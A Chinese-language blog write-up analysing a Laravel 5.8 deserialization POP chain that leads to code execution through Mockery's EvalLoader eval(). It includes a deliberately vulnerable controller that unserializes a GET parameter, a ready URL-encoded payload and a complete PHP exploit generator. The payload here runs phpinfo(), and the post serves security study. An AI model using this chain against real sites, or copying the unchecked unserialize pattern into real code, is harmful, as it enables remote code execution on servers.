在@mochazz师傅的博客里看到了Laravel的反序列化pop链,记录一下。
环境准备
- phpstudy
- php7.2.10
- phpstorm
- composer
搭建环境
配置composer
下载composer.phar 放到php的目录下面,给php配置好环境变量。
在 composer.phar
同级目录下新建文件 composer.bat
:
1D:\phpStudy\PHPTutorial\php\php-7.2.1-nts> echo @php "%~dp0composer.phar" %*>composer.bat
关闭当前的命令行窗口,打开新的命令行窗口进行测试:
1C:\Users\Y4er>composer -V
2Composer version 1.9.0 2019-08-02 20:55:32
更换国内阿里源
1composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
配置项目
创建laravel项目,注意选择版本
创建Demo控制器
1E:\code\php\laravel58>php artisan make:controller DemoController
2Controller created successfully.
配置路由
routes/web.php
1<?php
2use App\Http\Controllers\DemoController;
3
4Route::get("/", "DemoController@demo");
添加 DemoController 控制器的demo方法,代码如下:
1<?php
2
3namespace App\Http\Controllers;
4
5class DemoController extends Controller
6{
7 public function demo()
8 {
9 if (isset($_GET['c'])) {
10 $code = $_GET['c'];
11 unserialize($code);
12 } else {
13 highlight_file(__FILE__);
14 }
15 return "Welcome to laravel5.8";
16 }
17}
pop链分析
首先我们要知道 laravel 在反序列化unserialize($code)
时,如果反序列化对象的类不存在,会尝试去自动加载这个类。
堆栈如下
1ClassLoader.php:444, Composer\Autoload\includeFile() //加载完之后包含类
2ClassLoader.php:322, Composer\Autoload\ClassLoader->loadClass() //加载类
3DemoController.php:11, spl_autoload_call() //对象类不存在 调用自动加载
4DemoController.php:11, unserialize() //反序列化传递过来的参数
5DemoController.php:11, App\Http\Controllers\DemoController->demo() //路由进入控制器
接着我们来看下整条pop链,@mochazz师傅的payload
1http://php.local/?c=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A37%3A%22PhpParser%5CNode%5CScalar%5CMagicConst%5CLine%22%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo%28%29%3B%3F%3E%22%3B%7D%7D%7D
用phpstorm打个断点来跟踪下。
整条pop链入口点利用的是类Illuminate\Broadcasting\PendingBroadcast
的__destruct
方法。
$this->event
设置为Dispatcher
类,然后进入dispatch()
函数
vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php
这里要满足if条件,看下$this->commandShouldBeQueued($command)
1protected function commandShouldBeQueued($command)
2{
3 return $command instanceof ShouldQueue;
4}
要$command实现ShouldQueue
接口,找下
@mochazz师傅用的是Illuminate\Broadcasting\BroadcastEvent
然后进入$this->dispatchToQueue($command)
出现了call_user_func
,这时候我们可以调用任意类的方法了,接下来寻找下可利用的类方法。
在类Mockery\Loader\EvalLoader
的load
方法中有eval,并且参数可控。
但是要绕过前面的if语句块,也就是让class_exists($definition->getClassName(), false)
返回false。
1public function getClassName(){
2 return $this->config->getName();
3}
我们找一个含有getName
方法且返回值可控的类,让其返回一个不存在的类名即可绕过if。
vendor/mockery/mockery/library/Mockery/Generator/MockConfiguration.php
这个类中有
1public function getName()
2{
3 return $this->name;
4}
最后进入到eval("?>" . $definition->getCode());
,
1public function getCode()
2{
3 return $this->code;
4}
getCode()
依然可控,这个pop链就结束了。
构造exp
1<?php
2
3namespace Illuminate\Broadcasting {
4 class PendingBroadcast
5 {
6 protected $event;
7 protected $events;
8
9 public function __construct($events, $event)
10 {
11 $this->events = $events;
12 $this->event = $event;
13 }
14 }
15}
16
17namespace Illuminate\Bus {
18 class Dispatcher
19 {
20 protected $queueResolver;
21
22 public function __construct($queueResolver)
23 {
24 $this->queueResolver = $queueResolver;
25 }
26 }
27}
28
29namespace Illuminate\Broadcasting {
30 class BroadcastEvent
31 {
32 public $connection;
33
34 public function __construct($connection)
35 {
36 $this->connection = $connection;
37 }
38 }
39}
40
41
42namespace Mockery\Generator {
43 class MockDefinition
44 {
45 protected $config;
46 protected $code = '<?php phpinfo();?>';
47
48 public function __construct($config)
49 {
50 $this->config = $config;
51 }
52 }
53}
54
55namespace Mockery\Generator {
56 class MockConfiguration
57 {
58 protected $name = '1234';
59 }
60}
61
62namespace Mockery\Loader {
63 class EvalLoader
64 {
65 public function load(MockDefinition $definition)
66 {
67
68 }
69 }
70}
71
72namespace {
73 $Mockery = new Mockery\Loader\EvalLoader();
74 $queueResolver = array($Mockery, "load");
75 $MockConfiguration = new Mockery\Generator\MockConfiguration();
76 $MockDefinition = new Mockery\Generator\MockDefinition($MockConfiguration);
77 $BroadcastEvent = new Illuminate\Broadcasting\BroadcastEvent($MockDefinition);
78 $Dispatcher = new Illuminate\Bus\Dispatcher($queueResolver);
79 $PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($Dispatcher, $BroadcastEvent);
80 echo urlencode(serialize($PendingBroadcast));
81}
82?>
参考链接
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
评论